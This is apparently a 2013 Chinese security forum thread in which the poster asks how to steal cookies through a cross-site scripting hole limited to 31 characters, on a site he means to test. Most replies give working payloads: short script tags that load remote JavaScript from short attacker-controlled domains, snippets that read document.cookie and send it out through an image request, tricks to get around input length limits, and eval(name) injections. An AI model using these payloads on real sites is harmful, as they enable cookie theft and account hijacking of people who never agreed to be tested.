31字符xss挑战

vakin | 2013-11-21 12:13

要求能或得cookie,cookie啊。

<script src=http://></script>

都去了29个了。

[原文地址]

相关讨论:

1#

木易耳朵 | 2013-11-21 12:17

<script/src=//></script>

2#

Noxxx | 2013-11-21 12:23

<script src=http:t.cn/8aaaaa0>

3#

chord | 2013-11-21 12:30

去http://和</script>

4#

爱上平顶山 (爱上平顶山) | 2013-11-21 12:38

换换思路吧

5#

wugui (摄像头已贴标签ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็) | 2013-11-21 12:57

@Noxxx 这样还有效吗,

6#

whirlwind | 2013-11-21 12:59

<script src=> 13个字符

http;// 7个

你只需要搞一个10个字符的域名,推荐in

7#

vakin | 2013-11-21 13:14

@whirlwind 短域名可以么 @爱上平顶山 给点提示么

8#

齐迹 (换一个容易记住的头像@VIP @nauscript) | 2013-11-21 13:58

@whirlwind script 不闭合 无效的。

<script src=//1234567></script>

9#

YKS (‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌) | 2013-11-21 14:02

maxlength="24"

10#

坏虾 (黑阔都被爆菊花~) | 2013-11-21 14:04

x.c.gp/x

11#

坏虾 (黑阔都被爆菊花~) | 2013-11-21 14:07

<script/src=//x.c.gp ></script>

12#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-21 14:20

<script src=http:lcx.cc></script>

极限了。。

13#

坏虾 (黑阔都被爆菊花~) | 2013-11-21 14:22

@核攻击 使用FTP,或许还能再少一个字符

14#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-21 14:23

这个得看具体情况吧,也可以配合页面其他元素。

<script>eval(x.value)</script>

15#

mramydnei | 2013-11-21 14:58

如果输出点后面还有其它标签切有<script></script>,比如:

<script src=//t.cn/z88SPHq
<a href=http://www.baidu.com>link</a>
<script>document.write("test")</script>

那这样就够了吧。

<script src=//t.cn/z88SPHq 【26个字符】

16#

vakin | 2013-11-21 15:02

@核攻击 已经查看,不能配合其他元素了。。

17#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-21 15:07

楼主还是把具体页面源码贴上来吧……

18#

vakin | 2013-11-21 15:10

多谢楼上各位,我来总结一下,最后综合,我马上要去测试这个了。看来找个短域名是关键。

<script src=//1234567></script>

@坏虾 特别再at一下,你得短域名怎么挖出来得。

19#

vakin | 2013-11-21 15:14

@坏虾 找到了。

20#

xsjswt | 2013-11-21 15:14

<script> xx=/*
xxxxxx
*/document.cookie;/*
yyyyy
*/o="img";/*
xxxxxx
*/
oo=document;/*
xxxxxxxx
*/o=oo.createElement(o);/*
xxxxxxxxxxxx
*/o.src=xxxxxxxx

21#

vakin | 2013-11-21 15:52

@xsjswt 哈哈,不错。我觉得wooyun除了感谢之外,应该加一个赞功能。

22#

vakin | 2013-11-21 15:52

@核攻击 不方便啊,核总。

23#

laterain | 2013-11-21 16:31

<script>x='http://'</script>
<script>x+='xx/x'</script>
<script>x+='?c='</script>
<script>y='document.'</script>
<script>y+='cookie'</script>
<script>x+=eval(y)</script>
<script>z=new image()</script>
<script>z.src=x</script>

So easy

24#

vakin | 2013-11-21 16:50

@laterain 妙啊

25#

Black-Hole (我的嘴唇最要滋润下...) | 2013-11-21 16:51

@齐迹 </script>可以不要。浏览器会在你插的下面找到</script>并自动闭合,只不过其他地方的<script >闭合不了。楼主,你可以用filler截包,看字节是不是只在客户端限制。如果服务端没有限制字符,则可以成功插入。

@laterain 如果这个xss默认只显示最近一次的查询记录,你的就不行了。

如果都不行,你可以换种方法,用短短的获取第三方js文件的代码。看能不能搞到一个可控js,那样就没有字数限制了

26#

小泽 | 2013-11-21 17:44

@whirlwind 25位的怎么破

27#

爱梅小礼 | 2013-11-21 18:12

后面可以不闭合

28#

whirlwind | 2013-11-21 19:59

@小泽 简单,元素审查,改成250

29#

0x0F (..............................................................................................................) | 2013-11-21 21:31

<script/src=//x.xx/

不要闭合直接引用 自己数长度。 。

30#

剑无名 | 2013-11-21 23:05

@mramydnei 你这个标签前后没闭合啊

31#

剑无名 | 2013-11-21 23:38

@mramydnei 是不是前面的<会和后面的<script>的>进行匹配。然后和后面的</>进行闭合?

32#

剑无名 | 2013-11-21 23:41

@mramydnei 也不对啊。还是混乱了。。求指教。

33#

剑无名 | 2013-11-21 23:44

@Black-Hole 其他地方的<script>无法闭合会造成啥后果。前面已经闭合的script标签是否还会执行?

34#

Black-Hole (我的嘴唇最要滋润下...) | 2013-11-22 11:48

@剑无名 前面闭合的可以执行,后面的不会执行,只是会出错。但,只要钓到cookie,那点错误又算的了什么

35#

Black_Sun | 2013-11-22 14:43

跟我一个当时的例子一样 只不过我可以多行输出 每次稍微多点 有四十个字符! 但是不能一下凑出个script 我是这样弄的!

并且也过滤了 = 号!

1.<script>/*
2.*/$.getScript('//xss.tw/x');/*
3.*/</script>

然后就成功过了! 可能跟LZ的情况不太一样 但是根据具体情况 有所改变吧!

36#

过客 | 2013-11-30 03:18

23 个字符

<svg/onload=eval(name)>

27 个字符

<script>eval(name)</script>